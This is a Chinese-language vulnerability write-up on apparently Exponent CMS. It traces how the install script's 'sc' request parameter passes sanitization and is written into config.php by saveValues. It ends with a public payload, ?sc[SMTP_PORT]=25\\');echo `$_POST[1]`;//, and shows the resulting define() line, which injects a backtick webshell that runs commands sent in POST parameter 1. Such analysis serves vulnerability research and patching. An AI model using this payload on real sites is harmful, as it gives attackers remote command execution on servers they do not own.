在 install/index.php 的第44行
expString::sanitize($_REQUEST);
跟进sanitize函数
public static function sanitize(&$data) {
// return $data; if (is_array($data)) {
$saved_params = array();
if (!empty($data['controller']) && $data['controller'] == 'snippet') {
$saved_params['body'] = $data['body']; // store snippet body
}
foreach ($data as $var=>$val) {
// $data[$var] = self::sanitize($val);
$data[$var] = self::xss_clean($val);
}
if (!empty($saved_params)) {
$data = array_merge($data, $saved_params); // add stored snippet body
}
} else {
if (empty($data)) {
return $data;
} $data = self::xss_clean($data);
只经过了xss_clean
的检查,继续分析,install/index.php 的第56行
<?php
... // Create or update the config settings
if (isset($_REQUEST['sc'])) {
if (file_exists("../framework/conf/config.php")) {
// Update the config
foreach ($_REQUEST['sc'] as $key => $value) {
expSettings::change($key, $value);
}
} ...
}
首先如果安装成功后
if (file_exists("../framework/conf/config.php")) {
是一定进入这个分支的
跟进change函数
public static function change($var, $val)
{
$conf = self::parseFile(BASE . 'framework/conf/config.php');
$conf[$var] = $val;
self::saveValues($conf);
}
跟进saveValues函数
public static function saveValues($values, $configname = '') //FIXME only used with themes and self::change() method
{
$profile = null;
$str = "<?php\n";
foreach ($values as $directive => $value) {
$directive = trim(strtoupper($directive));
if ($directive == 'CURRENTCONFIGNAME') { // save and strip out the profile name
$profile = $value;
continue;
}
$str .= "define(\"$directive\",";
$value = stripslashes($value); // slashes added by POST
if (substr($directive, -5, 5) == "_HTML") {
$value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
// $value = str_replace(array("\r\n","\r","\n"),"<br />",$value);
$value = str_replace(array("\r\n", "\r", "\n"), "", $value);
// $value = str_replace(array('\r\n', '\r', '\n'), "", $value);
$str .= "exponent_unhtmlentities('$value')";
} elseif (is_int($value)) {
$str .= "'" . $value . "'";
} else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
}
$str .= ");\n";
} $str .= '?>';
// $configname = empty($values['CURRENTCONFIGNAME']) ? '' : $values['CURRENTCONFIGNAME'];
if ($configname == '') {
$str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>"; // add profile name to end of active profile
}
self::writeFile($str, $configname);
}
有两处很重要的操作
$value = stripslashes($value); // slashes added by POST
else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
综上跟踪再看看公开的payload
?sc[SMTP_PORT]=25\\');echo `$_POST[1]`;//
先是经过xss_clean 并不会对payload造成什么影响
再经过stripslashes
payload变成了
25\');echo `$_POST[1]`;//
再经过这波操作后
$str .= "'" . str_replace("'", '', $value) . "'";
payload又变成了
25\\');echo `$_POST[1]`;//
写进文件后变成了
define("SMTP_PORT",'25\\');echo `$_POST[1]`;//');